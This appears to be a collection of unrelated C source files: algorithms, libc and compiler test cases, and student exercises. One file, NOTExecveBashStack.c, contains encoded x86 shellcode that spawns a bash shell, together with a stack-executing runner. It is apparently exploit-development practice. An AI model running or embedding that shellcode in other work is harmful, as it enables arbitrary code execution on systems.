((_x_x_0 + (-1.0 * _x_x_1)) <= -15.0)) || (_x__EL_U_97 && ( !((_x_x_0 + (-1.0 * _x_x_2)) <= -3.0)))))) && (_x__J116 == (( !(_J116 && _J125)) && ((_J116 && _J125) || ((((x_0 + (-1.0 * x_1)) <= -15.0) || ( !(((x_0 + (-1.0 * x_1)) <= -15.0) || (( !((x_0 + (-1.0 * x_2)) <= 20.0)) && _EL_U_95)))) || _J116))))) && (_x__J125 == (( !(_J116 && _J125)) && ((_J116 && _J125) || (((((x_0 + (-1.0 * x_1)) <= -15.0) || (( !((x_0 + (-1.0 * x_2)) <= 20.0)) && _EL_U_95)) || ( !((((x_0 + (-1.0 * x_1)) <= -15.0) || (( !((x_0 + (-1.0 * x_2)) <= 20.0)) && _EL_U_95)) || (( !((x_0 + (-1.0 * x_2)) <= -3.0)) && _EL_U_97)))) || _J125))))));
_J125 = _x__J125;
_J116 = _x__J116;
_EL_U_97 = _x__EL_U_97;
x_2 = _x_x_2;
x_0 = _x_x_0;
_EL_U_95 = _x__EL_U_95;
x_3 = _x_x_3;
x_1 = _x_x_1;
}
}
|
the_stack_data/165769045.c
|
/* +++Date last modified: 05-Jul-1997 */
/*
** Case-Insensitive Boyer-Moore-Horspool pattern match
**
** Public Domain version by Thad Smith 7/21/1992,
** based on a 7/92 public domain BMH version by Raymond Gardner.
**
** This program is written in ANSI C and inherits the compilers
** ability (or lack thereof) to support non-"C" locales by use of
** toupper() and tolower() to perform case conversions.
** Limitation: pattern length + string length must be less than 32767.
**
** 10/21/93 rdg Fixed bugs found by Jeff Dunlop
*/
#include <limits.h>
#include <stdlib.h>
#include <string.h>
typedef unsigned char uchar;
void bmhi_init(const char *);
char *bmhi_search(const char *, const int);
void bhmi_cleanup(void);
#define LARGE 32767 /* flag for last character match */
static int patlen; /* # chars in pattern */
static int skip[UCHAR_MAX+1]; /* skip-ahead count for test chars */
static int skip2; /* skip-ahead after non-match with
** matching final character */
static uchar *pat = NULL; /* uppercase copy of pattern */
/*
** bmhi_init() is called prior to bmhi_search() to calculate the
** skip array for the given pattern.
** Error: exit(1) is called if no memory is available.
*/
void bmhi_init(const char *pattern)
{
int i, lastpatchar;
patlen = strlen(pattern);
/* Make uppercase copy of pattern */
pat = realloc ((void*)pat, patlen);
if (!pat)
exit(1);
else atexit(bhmi_cleanup);
for (i=0; i < patlen; i++)
pat[i] = toupper(pattern[i]);
/* initialize skip array */
for ( i = 0; i <= UCHAR_MAX; ++i ) /* rdg 10/93 */
skip[i] = patlen;
for ( i = 0; i < patlen - 1; ++i )
{
skip[ pat[i] ] = patlen - i - 1;
skip[tolower(pat[i])] = patlen - i - 1;
}
lastpatchar = pat[patlen - 1];
skip[ lastpatchar ] = LARGE;
skip[tolower(lastpatchar)] = LARGE;
skip2 = patlen; /* Horspool's fixed second shift */
for (i = 0; i < patlen - 1; ++i)
{
if ( pat[i] == lastpatchar )
skip2 = patlen - i - 1;
}
}
char *bmhi_search(const char *string, const int stringlen)
{
int i, j;
char *s;
i = patlen - 1 - stringlen;
if (i >= 0)
return NULL;
string += stringlen;
for ( ;; )
{
while ( (i += skip[((uchar *)string)[i]]) < 0 )
; /* mighty fast inner loop */
if (i < (LARGE - stringlen))
return NULL;
i -= LARGE;
j = patlen - 1;
s = (char *)string + (i - j);
while ( --j >= 0 && toupper(s[j]) == pat[j] )
;
if ( j < 0 ) /* rdg 10/93 */
return s; /* rdg 10/93 */
if ( (i += skip2) >= 0 ) /* rdg 10/93 */
return NULL; /* rdg 10/93 */
}
}
void bhmi_cleanup(void)
{
free(pat);
}
|
the_stack_data/89198946.c
|
int main() {
int a = 3;
return a++;
}
|
the_stack_data/26700001.c
|
// RUN: %cml %s -o %t && %t | FileCheck %s
#include <stdio.h>
void swap(int *a, int *b) {
int t = *a;
*a = *b;
*b = t;
}
// function build Max Heap where value
// of each child is always smaller
// than value of their parent
void buildMaxHeap(int arr[], int n) {
for (int i = 1; i < n; i++) {
// if child is bigger than parent
if (arr[i] > arr[(i - 1) / 2]) {
int j = i;
// swap child and parent until
// parent is smaller
while (arr[j] > arr[(j - 1) / 2]) {
swap(&arr[j], &arr[(j - 1) / 2]);
j = (j - 1) / 2;
}
}
}
}
void heapSort(int arr[], int n) {
buildMaxHeap(arr, n);
for (int i = n - 1; i > 0; i--) {
// swap value of first indexed
// with last indexed
swap(&arr[0], &arr[i]);
// maintaining heap property
// after each swapping
int j = 0, index;
do {
index = (2 * j + 1);
// if left child is smaller than
// right child point index variable
// to right child
if (arr[index] < arr[index + 1] && index < (i - 1))
index++;
// if parent is smaller than child
// then swapping parent with child
// having higher value
if (arr[j] < arr[index] && index < i)
swap(&arr[j], &arr[index]);
j = index;
} while (index < i);
}
}
// Driver Code to test above
int main() {
int arr[6];
arr[0] = 10;
arr[1] = 20;
arr[2] = 15;
arr[3] = 17;
arr[4] = 9;
arr[5] = 21;
int n = 6;
printf("Given array: ");
for (int i = 0; i < n; i++)
printf("%d ", arr[i]);
printf("\n\n");
heapSort(arr, n);
// print array after sorting
printf("Sorted array: ");
for (int i = 0; i < n; i++)
printf("%d ", arr[i]);
// CHECK: 9 10 15 17 20 21
return 0;
}
|
the_stack_data/68889066.c
|
#include <stdio.h>
#include <stdlib.h>
typedef struct {
char *name;
int size;
void (*(*_vtable)[])();
} metadata;
typedef struct {
metadata *clazz;
} object;
object *alloc(metadata *clazz) {
object *p = malloc(clazz->size);
p->clazz = clazz;
return p;
}
// D e f i n e C l a s s Animal
typedef struct {
metadata *clazz;
int ID;
} Animal;
void (*Animal_vtable[])() = {
};
metadata Animal_metadata = {"Animal", sizeof(Animal), &Animal_vtable};
// D e f i n e C l a s s Dog
typedef struct {
metadata *clazz;
int ID;
} Dog;
void (*Dog_vtable[])() = {
};
metadata Dog_metadata = {"Dog", sizeof(Dog), &Dog_vtable};
// D e f i n e C l a s s Pekinese
typedef struct {
metadata *clazz;
int ID;
} Pekinese;
void (*Pekinese_vtable[])() = {
};
metadata Pekinese_metadata = {"Pekinese", sizeof(Pekinese), &Pekinese_vtable};
int main(int argc, char *argv[])
{
Pekinese * d;
d = ((Pekinese *)alloc(&Pekinese_metadata));
d->ID = 5;
printf("%d\n", d->ID);
}
|
the_stack_data/156393768.c
|
#include<stdio.h>
void display(int n, double a[][n+1])
{
printf("\n");
for(int i=0;i<n;i++)
{
printf("\t");
for(int j=0;j<n+1;j++)
{
printf("%15lf ",a[i][j]);
}
printf("\n");
}
for(int i=0;i<86;i++)
printf("*");
}
int main()
{
// a1x + b1y + c1z = d1
// a2x + b2y + c2z = d2
// a3x + b3y + c3z = d3
int n,i,j,k;;
double rem;
printf("\nEnter the order of Matrix : ");
scanf("%d",&n);
double a[n][n+1];
for(i=0;i<n;i++)
{
for(j=0;j<n+1;j++)
{
printf("Enter A[%d][%d] : ",i+1,j+1);
scanf("%lf",&a[i][j]);
}
}
for(int i=0;i<86;i++)
printf("*");
printf("\n");
for(i=0;i<n;i++)
{
for(j=0;j<n+1;j++)
{
if(j>i)
{
rem = (a[j][i]/a[i][i]);
for(k=0;k<n+1;k++)
{
a[j][k] = a[j][k] - rem*a[i][k];
}
}
}display(n,a);
}
printf("\nThe Upper Triangular Matrix is :- \n\n");
for(int i=0;i<n;i++)
{
printf("\t");
for(int j=0;j<n+1;j++)
{
printf("%15lf ",a[i][j]);
}
printf("\n");
}
double x[10],sum=0;
x[n-1] = a[n-1][n]/a[n-1][n-1];
for(i=n-2;i>=0;i--)
{
sum = 0;
for(j=i+1;j<n;j++)
{
sum+=a[i][j]*x[j];
}
x[i] = (a[i][n]-sum)/a[i][i];
}
printf("\nThe Solution is :- \n\n");
for(i=0;i<n;i++)
{
printf("\nx%d = %lf\t",i+1,x[i]);
}
return 0;
}
|
the_stack_data/220454343.c
|
#include <stdio.h>
int getc_unlocked(FILE* file)
{
return getc(file);
}
|
the_stack_data/161081120.c
|
/*
* Problema do Caixeiro Viajante em C
* Utilizando uma matriz de distância para representar um grafo não direcionado.
* Objetivo: Encontrar o menor caminho que passe por todos os vértices sem repetir nenhum, e chegar novamente ao vértice de início
*
* 6
* (4)-----(0)
* | \ / \
* | \ 3/ \2
* | \/ \
* 3| /\ (1)
* | / 3\ 4/ |
* | / \ / |
* (3)-----(2) |
* | 7 |
* | | 3
* --------------
*
*
* Matriz de Distância
* 0 1 2 3 4
* 0 0 2 - 3 6
* 1 2 0 4 3 -
* 2 - 4 0 7 3
* 3 3 3 7 0 3
* 4 6 - 3 3 0
*
*
*/
#include <stdio.h>
#define VERTICES 5
#define INFINITO 429496729
int tempSolucao[VERTICES];
int melhorSolucao[VERTICES];
int visitados[VERTICES];
int valorMelhorSolucao = INFINITO;
int valorSolucaoAtual = 0;
int matriz[VERTICES][VERTICES] = {{ 0, 2, INFINITO, 3, 6 },
{ 2, 0, 4, 3, INFINITO },
{ INFINITO, 4, 0, 7, 3 },
{ 3, 3, 7, 0, 3 },
{ 6, INFINITO, 3, 3, 0 }};
void caixeiroViajanteAux(int x){
// Se o valor da solução atual já estiver maior que o valor da melhor solução já para, pois já não pode mais ser a melhor solução
if( valorSolucaoAtual > valorMelhorSolucao )
return;
if( x == VERTICES ){ // Se x == VERTICES significa que o vetor da solução temporária está completo
int distancia = matriz[tempSolucao[x-1]][tempSolucao[0]];
// Se encontrou uma solução melhor/menor
if( distancia < INFINITO && valorSolucaoAtual + distancia < valorMelhorSolucao ){
valorMelhorSolucao = valorSolucaoAtual + distancia; // Substitui a melhor solução pela melhor encontrada agora
// Copia todo o vetor de solução temporária para o vetor de melhor solução encontrada
for (int i = 0; i < VERTICES; ++i){
melhorSolucao[i] = tempSolucao[i];
}
}
return;
}
int ultimo = tempSolucao[x-1]; // Ultimo recebe o número do último vértice que se encontra na solução temporária
// For que percorre todas as colunas da matriz na linha do último vértice do vetor solução temporária
for (int i = 0; i < VERTICES; i++){
// Se a posição i do vetor ainda não foi visitada, e se o valor da matriz na posição é menor que INFINITO
if( visitados[i] == 0 && matriz[ultimo][i] < INFINITO ){
visitados[i] = 1; // Marca como visitado
tempSolucao[x] = i; // Carrega o vértice que está passando no vetor de solução temporária
valorSolucaoAtual += matriz[ultimo][i]; // Incrementa o valor da matriz na variável que guarda o total do caminho percorrido
caixeiroViajanteAux(x+1); // Chama recursivamente para o próximo vértice
valorSolucaoAtual -= matriz[ultimo][i]; // Se ainda não terminou, diminuí o valor da váriavel que guarda o total da solução atual
visitados[i] = 0; // Seta como false a posição para poder ser utilizado por outro vértice
}
}
}
void caixeiroViajante(int inicial){
visitados[inicial] = 1; // Marca o primeiro vértice como visitado (0)
tempSolucao[0] = inicial; // Coloca o vértice 0 na primeira posição do vetor de solução temporária
caixeiroViajanteAux(1); // Chama o método auxiliar do caixeiro viajante
}
void iniciaVetores(){
for (int i = 0; i < VERTICES; i++){
visitados[i] = 0;
tempSolucao[i] = -1;
melhorSolucao[i] = -1;
}
}
int main(){
iniciaVetores();
caixeiroViajante(0);
printf("Caminho mínimo: %d\n", valorMelhorSolucao);
for (int i = 0; i < VERTICES; i++){
printf("%d, ", melhorSolucao[i]);
}
printf("\n\n");
}
|
the_stack_data/94562.c
|
/* */
/* Auto-fitter hinting routines for Indic scripts (body). */
/* */
/* Copyright 2007, 2011 by */
/* Rahul Bhalerao <[email protected]>, <[email protected]>. */
/* */
|
the_stack_data/133891.c
|
#include <stdio.h>
#include <string.h>
long hash(char *);
struct occurance_t{
long hash;
char word[4][200];
int count;
};
int main()
{
int i=0, n=0, j=0, temp=0;
char word[200];
long temp_hash=0;
struct occurance_t words[3000], temp_swap;
while(i!=3000)
{
j=0;
while(j!=4)
{
words[i].word[j][0]='0';
j++;
}
words[i].hash=0;
words[i].count=0;
i++;
}
i=0;
while(1)
{
temp=0;
n=0;
scanf("%s", word);
temp_hash=hash(word);
while(n!=i)
{
if (words[n].hash==temp_hash)
{
j=0;
while(j<words[n].count)
{
if ((strcmp(word, words[n].word[j])==0))
{
temp=1;
break;
}
j++;
}
if(temp==0)
{
j=words[n].count;
strcpy(words[n].word[j], word);
words[n].count++;
temp=1;
}
break;
}
n++;
}
if (temp==0)
{
strcpy(words[i].word[0], word);
words[i].hash=temp_hash;
words[i].count++;
i++;
}
if(j==3)
{
break;
}
}
while(1)
{
temp=0;
for(n=0; n<i; n++)
{
if(words[n].hash>words[n+1].hash)
{
temp_swap=words[n];
words[n]=words[n+1];
words[n+1]=temp_swap;
temp=1;
}
}
if(temp==0)
{
break;
}
}
n=0;
while (n<=i)
{
switch (words[n].count)
{
case 2:
printf("%ld %s %s\n", words[n].hash, words[n].word[0], words[n].word[1]);
break;
case 3:
printf("%ld %s %s %s\n", words[n].hash, words[n].word[0], words[n].word[1], words[n].word[2]);
break;
case 4:
printf("%ld %s %s %s %s\n", words[n].hash, words[n].word[0], words[n].word[1], words[n].word[2], words[n].word[3]);
break;
default:
break;
}
n++;
}
return 0;
}
long hash(char *word)
{
long hash=42;
int n, i=0, temp;
n=strlen(word);
while(i!=n)
{
temp=word[i];
hash=hash+(temp*(i+1));
i++;
}
return hash;
}
|
the_stack_data/87636945.c
|
/* $OpenBSD: strsep.c,v 1.7 2014/02/05 20:42:32 stsp Exp $ */
/*-
* Copyright (c) 1990, 1993
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#include <string.h>
/*
* Get next token from string *stringp, where tokens are possibly-empty
* strings separated by characters from delim.
*
* Writes NULs into the string at *stringp to end tokens.
* delim need not remain constant from call to call.
* On return, *stringp points past the last NUL written (if there might
* be further tokens), or is NULL (if there are definitely no more tokens).
*
* If *stringp is NULL, strsep returns NULL.
*/
char *
strsep(char **stringp, const char *delim)
{
char *s;
const char *spanp;
int c, sc;
char *tok;
if ((s = *stringp) == NULL)
return (NULL);
for (tok = s;;) {
c = *s++;
spanp = delim;
do {
if ((sc = *spanp++) == c) {
if (c == 0)
s = NULL;
else
s[-1] = 0;
*stringp = s;
return (tok);
}
} while (sc != 0);
}
/* NOTREACHED */
}
DEF_WEAK(strsep);
|
the_stack_data/179830161.c
|
#include <stdio.h>
void ZhezhongInsertSort(int arr[], int len)
{
int i, j, temp, low, high, mid;
for (i = 1; i < len; i++) {
temp = arr[i];
low = 0;
high = i - 1;
while (low <= high) {
mid = (low + high) / 2;
if (arr[mid] > temp) {
high = mid - 1;
} else {
low = mid + 1;
}
}
for (j = i; j >= low; j--) {
arr[j] = arr[j-1];
}
arr[low] = temp;
}
}
//折半插入排序
int main(void)
{
int arr[] = {2,121,21,27,24,454,584,504,540,54,50,45};
int len = (int)sizeof(arr) / sizeof(*arr);
ZhezhongInsertSort(arr, len);
int i;
for (i = 0; i<len; i++) {
printf("arr[%d] = %d \n", i, arr[i]);
}
return 0;
}
|
the_stack_data/74024.c
|
/*-
* Copyright (c) 1980 The Regents of the University of California.
* All rights reserved.
*
* %sccs.include.proprietary.c%
*/
#ifndef lint
static char sccsid[] = "@(#)getpid_.c 5.2 (Berkeley) 04/12/91";
#endif /* not lint */
/*
* get process id
*
* calling sequence:
* integer getpid, pid
* pid = getpid()
* where:
* pid will be the current process id
*/
long getpid_()
{
return((long)getpid());
}
|
the_stack_data/53762.c
|
/* This testcase is part of GDB, the GNU debugger.
Copyright 2006-2016 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
#include <stdio.h>
extern int copyreloc;
/* Test GDB itself finds `&bssvar' right. */
static int bssvar, *bssvarp = &bssvar;
extern void (*h (void)) (void (*)(void));
int
main (void)
{
void (*f) (void (*)(void)) = h ();
printf ("%p\n", f);
printf ("%d\n", copyreloc);
f (0);
}
|
the_stack_data/417951.c
|
#include <stdio.h>
char gimmeAnA(void);
int main()
{
char grade;
grade = gimmeAnA();
printf("On this test you received an %c.\n",grade);
return(0);
}
char gimmeAnA(void)
{
return('A');
}
|
the_stack_data/39073.c
|
#include <stdio.h>
#include <stdlib.h>
int balance[20], custno[20], n;
char name[10][20];
void deposit(int cno, int amt)
{
for (int i = 0; i < n; i++)
{
if (custno[i] == cno)
{
balance[i] = balance[i] + amt;
printf("%d\n%s\n%d\n", custno[i], name[i], balance[i]);
}
}
}
void withdraw(int cno, int amt)
{
for (int i = 0; i < n; i++)
{
if (custno[i] == cno)
{
if (balance[i] >= amt + 500)
{
balance[i] = balance[i] - amt;
printf("%d\n%s\n%d", custno[i], name[i], balance[i]);
}
else
{
printf("Insufficient Balance");
}
}
}
}
int main()
{
int customerno, amount;
printf("Enter number of customers:");
scanf("%d", &n);
for (int i = 0; i < n; i++)
{
printf("Enter customer number:");
scanf("%d", &custno[i]);
printf("Enter customer name:");
scanf("%s", &name[i]);
printf("Enter the balance:");
scanf("%d", &balance[i]);
}
printf("Enter your customer number for which amount is withdrawn or deposited:");
scanf("%d", &customerno);
printf("Enter the amount to be withdrawn or deposited:");
scanf("%d", &amount);
int choice;
printf("Enter 1 for Withdraw and 2 for Deposit :");
scanf("%d",&choice);
switch (choice)
{
case 1:
withdraw(customerno,amount);
break;
case 2:
deposit(customerno,amount);
break;
}
return 0;
}
|
the_stack_data/96831.c
|
#include<stdio.h>
#define AGE 13
int main(){
const int a = 10;
printf("%d\n", AGE);
printf("%d\n", a);
}
|
the_stack_data/116284.c
|
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
void *f1(void *p) {
printf("hello\n");
return NULL;
}
int main (int argc, char const *argv[])
{
pthread_t t1;
pthread_create(&t1, NULL, f1, NULL);
return 0;
}
|
the_stack_data/1188413.c
|
/*
int mainChar()
{
char a[10];
char *p, *q;
q=a;
p=q+1;
*q = 0;
*p = 0;
return 0;
}
*/
int mainInt()
{
int a[10];
int *p, *q;
q=&a[0];
p=q+1;
*q = 0;
*p = 0;
return 0;
}
/*
int mainFloat()
{
float a[10];
float *p, *q;
q=&a[0];
p=q+1;
*q = 0;
*p = 0;
return 0;
}
int mainDouble()
{
double a[10];
double *p, *q;
q=&a[0];
p=q+1;
*q = 0;
*p = 0;
return 0;
}
*/
|
the_stack_data/167331926.c
|
/* $NetBSD: h_spawnattr.c,v 1.1 2012/02/13 21:03:08 martin Exp $ */
/*-
* Copyright (c) 2012 The NetBSD Foundation, Inc.
* All rights reserved.
*
* This code is derived from software contributed to The NetBSD Foundation
* by Charles Zhang <[email protected]> and
* Martin Husemann <[email protected]>.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
/*
* Helper to test the hardcoded assumptions from t_spawnattr.c
* Exit with apropriate exit status and print diagnostics to
* stderr explaining what is wrong.
*/
int
main(int argc, char **argv)
{
int parent_pipe, res = EXIT_SUCCESS;
sigset_t sig;
struct sigaction act;
ssize_t rd;
char tmp;
sigemptyset(&sig);
if (sigprocmask(0, NULL, &sig) < 0) {
fprintf(stderr, "%s: sigprocmask error\n", getprogname());
res = EXIT_FAILURE;
}
if (!sigismember(&sig, SIGUSR1)) {
fprintf(stderr, "%s: SIGUSR not in procmask\n", getprogname());
res = EXIT_FAILURE;
}
if (sigaction(SIGUSR1, NULL, &act) < 0) {
fprintf(stderr, "%s: sigaction error\n", getprogname());
res = EXIT_FAILURE;
}
if (act.sa_sigaction != (void *)SIG_DFL) {
fprintf(stderr, "%s: SIGUSR1 action != SIG_DFL\n",
getprogname());
res = EXIT_FAILURE;
}
if (argc >= 2) {
parent_pipe = atoi(argv[1]);
if (parent_pipe > 2) {
#if DEBUG
printf("%s: waiting for command from parent on pipe "
"%d\n", getprogname(), parent_pipe);
#endif
rd = read(parent_pipe, &tmp, 1);
if (rd == 1) {
#if DEBUG
printf("%s: got command %c from parent\n",
getprogname(), tmp);
#endif
} else if (rd == -1) {
printf("%s: %d is no pipe, errno %d\n",
getprogname(), parent_pipe, errno);
res = EXIT_FAILURE;
}
}
}
return res;
}
|
the_stack_data/23575479.c
|
extern int __VERIFIER_nondet_int();
extern void abort(void);
void reach_error(){}
int id(int x) {
if (x==0) return 0;
return id(x-1) + 1;
}
int main(void) {
int input = 15;
int result = id(input);
if (result == 15) {
ERROR: {reach_error();abort();}
}
}
|
the_stack_data/7949706.c
|
#include <stdio.h>
char magic_num;
int col, row, max_colour, i, j, new_num, new_col, new_row;
/*
* Read the header of the standard input ppm
*/
void read_header()
{
// Read the user input
scanf("%s %d %d %d", &magic_num, &col, &row, &max_colour);
// Print out the header
printf("%s %d %d %d ", "P3", col, row, max_colour);
printf("\n");
return;
}
/*
* Read an image from the standard input and set the red value of each pixel to
* zero.
*/
void remove_red()
{
// Call the helper function to read the header
read_header();
// Loop over every row
for (i = 0; i < row; i++) {
// Then going through every column
for (j = 0; j < col*3; j++) {
// Grab each pixel and if it's divisible by three
// we know its a R pixel, hence change it to 0 as required
scanf("%d", &new_num);
if (j % 3 == 0) {
printf("0 ");
}
// If it's not R pixel then leave it as it is
else
{
printf("%d ",new_num);
}
}
}
printf("\n");
}
/*
* Read an image from the standard input and convert it from colour to black and white.
*/
void convert_to_black_and_white()
{
// Call the helper function to read the header
read_header();
int red_num, green_num, blue_num;
// Go through each row and then through each column and read the RGB pixel
for (i = 0; i < row; i++) {
for (j = 0; j < col; j++) {
scanf("%d %d %d", &red_num, &green_num, &blue_num);
// Add the all three numbers and get the average
new_num = (red_num + green_num + blue_num) / 3;
printf("%d %d %d ", new_num, new_num, new_num);
}
}
printf("\n");
}
/*
* Read an image from the standard input and convert it to a square image.
*/
void instagram_square()
{
scanf("%s %d %d %d", &magic_num, &col, &row, &max_colour);
if (col > row) {
new_col = row;
printf("%s %d %d %d ", "P3", new_col, row, max_colour);
for (i = 0; i < row; i++) {
for (j = 0; j < col*3; j++) {
scanf("%d", &new_num);
if (j < new_col * 3) {
printf("%d ", new_num);
}
}
}
printf("\n");
}
else {
new_row = col;
printf("%s %d %d %d ", "P3", col, new_row, max_colour);
for (i = 0; i < row; i++) {
for (j = 0; j < col*3; j++) {
scanf("%d", &new_num);
if (i < new_row) {
printf("%d ", new_num);
}
}
}
}
}
|
the_stack_data/618607.c
|
/* x's mask should be meet(0xc, 0x3) == 0xf */
/* { dg-do compile } */
/* { dg-options "-O2 -fno-early-inlining -fdump-ipa-cp -fdump-tree-optimized" } */
extern int pass_test ();
extern int fail_test ();
__attribute__((noinline))
static int f1(int x)
{
if ((x & ~0xf) == 0)
return pass_test ();
else
return fail_test ();
}
__attribute__((noinline))
static int f2(int y)
{
return f1(y & 0x03);
}
__attribute__((noinline))
static int f3(int z)
{
return f1(z & 0xc);
}
extern int a;
extern int b;
int main(void)
{
int k = f2(a);
int l = f3(b);
return k + l;
}
/* { dg-final { scan-ipa-dump "Adjusting mask for param 0 to 0xf" "cp" } } */
/* { dg-final { scan-tree-dump-not "fail_test" "optimized" } } */
|
the_stack_data/150142559.c
|
/*
NOTExecveBashStack.c
By Abatchy
gcc NOTExecveBashStack.c -fno-stack-protector -z execstack -o NOTExecveBashStack.out
*/
#include <stdio.h>
#include <string.h>
unsigned char sc[] = "\xeb\x0c\x5e\x8a\x06\xf6\x16\xfe\xc0\x74\x08\x46\xeb\xf5\xe8\xef\xff\xff\xff\xce\x3f\xaf\x97\x9d\x9e\x8c\x97\x97\x9d\x96\x91\xd0\x97\xd0\xd0\xd0\xd0\x76\x1c\xaf\x76\x1d\xac\x76\x1e\x4f\xf4\x32\x7f\xff";
int main()
{
printf("Shellcode size: %d\n", strlen(sc));
int (*ret)() = (int(*)())sc;
ret();
}
|
the_stack_data/28264007.c
|
/**
* @file
*
* @brief
*
* @copyright BSD License (see doc/LICENSE.md or http://www.libelektra.org)
*/
#include <stdio.h>
int main (void)
{
char * line;
size_t len = 0;
FILE * fp;
getline (&line, &len, fp);
return 0;
}
|
the_stack_data/40762333.c
|
/* setlocale example */
#include <stdio.h> /* printf */
#include <time.h> /* time_t, struct tm, time, localtime, strftime */
#include <locale.h> /* struct lconv, setlocale, localeconv */
int main()
{
time_t rawtime;
struct tm *timeinfo;
char buffer[80];
struct lconv *lc;
time(&rawtime);
timeinfo = localtime(&rawtime);
int twice = 0;
do
{
printf("Locale is: %s\n", setlocale(LC_ALL, NULL));
strftime(buffer, 80, "%c", timeinfo);
printf("Date is: %s\n", buffer);
lc = localeconv();
printf("Currency symbol is: %s\n-\n", lc->currency_symbol);
setlocale(LC_ALL, "");
} while (!twice++);
return 0;
}
|
the_stack_data/320850.c
|
/*
* Windows CE console application entry point
*
* Copyright (C) 2006-2015, ARM Limited, All Rights Reserved
* SPDX-License-Identifier: Apache-2.0 OR GPL-2.0-or-later
*
* This file is provided under the Apache License 2.0, or the
* GNU General Public License v2.0 or later.
*
* **********
* Apache License 2.0:
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* **********
*
* **********
* GNU General Public License v2.0 or later:
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*
* **********
*
* This file is part of mbed TLS (https://tls.mbed.org)
*/
#if defined(_WIN32_WCE)
#include <windows.h>
extern int main( int, const char ** );
int _tmain( int argc, _TCHAR* targv[] )
{
char **argv;
int i;
argv = ( char ** ) calloc( argc, sizeof( char * ) );
for ( i = 0; i < argc; i++ ) {
size_t len;
len = _tcslen( targv[i] ) + 1;
argv[i] = ( char * ) calloc( len, sizeof( char ) );
wcstombs( argv[i], targv[i], len );
}
return main( argc, argv );
}
#endif /* defined(_WIN32_WCE) */
|
the_stack_data/173576764.c
|
/* -*-c-*- */
/**********************************************************************
thread_win32.c -
$Author: mame $
Copyright (C) 2004-2007 Koichi Sasada
**********************************************************************/
#ifdef THREAD_SYSTEM_DEPENDENT_IMPLEMENTATION
#include <process.h>
#define WIN32_WAIT_TIMEOUT 10 /* 10 ms */
#undef Sleep
#define native_thread_yield() Sleep(0)
#define remove_signal_thread_list(th)
static volatile DWORD ruby_native_thread_key = TLS_OUT_OF_INDEXES;
static int native_mutex_lock(rb_thread_lock_t *);
